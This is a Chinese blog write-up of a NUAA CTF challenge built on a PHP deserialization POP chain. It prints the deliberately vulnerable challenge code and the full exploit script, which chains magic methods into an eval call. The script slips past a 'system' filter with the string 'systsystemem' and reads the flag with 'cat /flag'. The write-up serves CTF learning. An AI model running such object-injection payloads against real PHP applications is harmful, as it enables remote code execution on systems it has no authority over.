NUAA ctf月赛pop chain

三月的月赛有两道题,第一题用御剑直接扫到了泄露的www.zip,根据里面的源码直接秒了。所以这次月赛的主要就考这道pop链题。看看题目:

 <?php
    class A{
        public $test="give_me_flag";
        public $command;
        public function __wakeup()
        {
            if($this->test=="give_me_flag"){
                echo "lalala";
            }
        }
        public function __call($a,$b){
            $this->test=$val[0];
        }
        public function __toString(){
            echo $this->test;
            return "gg";
        }
        public function __invoke(){
            $this->command=str_replace("system","",$this->command);
            @eval($this->command);
        }

    }
    class B{
        public $external;
        public $arg;
        public function __destruct(){
            $this->external->NOT_EXIST($this->arg);
        }
    }
    class C{
        public $t;
        public $o;
        public function __call($func,$arg1){
            $this->t->test=$arg1[0];
        }
        public function __toString(){
            $s=$this->o;
            return $s();
        }
    }
    class D{
        public $str;
        public $sentence="";

        public function __set($n,$v){
            if($this->sentence=="I need flag"){
                strtolower($this->str);
            }
        }
    }
    if(isset($_GET['ctfer'])){
        @unserialize($_GET['ctfer']);
    }else{
        highlight_file(__FILE__);
    }
?> 

pop链就是让一个魔术方法触发另一个魔术方法最后触发到漏洞点,所以解pop链的关键是找到漏洞点然后不断倒推。先来看看各种魔术方法:

 根据上图看看我在草稿上画的的解题流程图(不太熟练,画图理清思路)

 

用官方一点的表示方式就是B::destruct->C::call->D::set->C::toString->A::_invoke(我画的图比较利于写程序)

程序如下:

<?php
    class A{
        public $test="give_me_flag";
        public $command;
    }
    class B{
        public $external;
        public $arg;
        }
    class C{
        public $t;
        public $o;
        }
    class D{
        public $str;
        public $sentence="";
        }
$a=new A();
$a->command="systsystemem('ls /');";
$c=new C();
$c->o=$a;
$d=new D();
$d->str=$c;
$d->sentence="I need flag";
$c->t=$d;
$b=new B();
$b->external=$c;
$poc = serialize($b);
echo urlencode($poc);

输出

 然后把ls /换成cat /flag即可得到flag

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值